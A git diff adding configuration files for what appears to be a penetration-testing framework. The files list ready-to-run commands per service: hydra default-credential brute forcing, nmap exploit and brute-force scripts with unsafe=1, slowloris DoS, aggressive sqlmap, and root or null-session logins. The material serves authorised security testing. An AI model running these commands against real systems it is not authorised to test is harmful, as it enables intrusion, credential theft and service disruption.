--script=snmp-sysdescr.nse --script-args=unsafe=1", snmp +snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp +snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp +snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp +snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp +snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" +ssh-default=Check for default ssh credentials, hydra -s [PORT] -C ./wordlists/ssh-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +ssh-default-root=Check for default ssh root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +ssh-default-router=Check for default ssh router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" +telnet-default=Check for default telnet credentials, hydra -s [PORT] -C ./wordlists/telnet-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +telnet-default-root=Check for default telnet root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +telnet-default-router=Check for default telnet router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns +vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc +vnc-default=Check for default VNC credentials, hydra -s [PORT] -C ./wordlists/vnc-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] vnc, vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,https-alt" +wpscan=Run wpscan, wpscan --url [IP], "http,https,ssl,https-alt" + +[PortTerminalActions] +firefox=Open with firefox, firefox [IP]:[PORT], +ftp=Open with ftp client, ftp [IP] [PORT], [term] ftp +mssql=Open with mssql client (as sa), [term] python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mysql=Open with mysql client (as root), "[term] mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, [term] nc -v [IP] [PORT], +psql=Open with postgres client (as postgres), [term] psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, [term] rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, [term] rlogin -i root -p [PORT] [IP], login +rpcclient=Open with rpcclient (NULL session), [term] rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], [term] shell +ssh=Open with ssh client (as root), [term] ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, [term] telnet [IP] [PORT], +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, [term] Xephyr -query [IP] :1, xdmcp +xterm=Open terminal, [term] bash, + +[SchedulerSettings] +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp +ftp-default=ftp, tcp +x11screen=X11, tcp + +[StagedNmapSettings] +stage1-ports="T:23,25,587,80,8080,443,8443,8081,9443,3389,1099,4786,3306,5432,1521" +stage2-ports="T:135,137,139,445,1433,88" +stage3-ports="U:53,110,161,500" +stage4-ports="T:1-10000" +stage5-ports="Vulners,CVE" +stage6-ports="T:80" + +[ToolSettings] +cutycapt-path=/usr/bin/cutycapt +hydra-path=/usr/bin/hydra +nmap-path=/sbin/nmap +pyshodan-api-key=YourKeyGoesHere +texteditor-path=/usr/bin/leafpad diff --git a/custom_configs/small_scope_all_ports.conf b/custom_configs/small_scope_all_ports.conf new file mode 100644 index 00000000..76e49472 --- /dev/null +++ b/custom_configs/small_scope_all_ports.conf @@ -0,0 +1,329 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,https-get-form,http-post-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + +[GUISettings] +process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,483,100" +process-tab-detail=false + +[GeneralSettings] +default-terminal=xterm +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=5 +max-slow-processes=5 +screenshooter-timeout=15000 +tool-output-black-background=False +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" + +[HostActions] +icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] +nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan +python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql +citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix +citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix +citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix +cloudfail=Run cloudfail, python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt,https-alt" +dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp +ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp +ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp +ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" 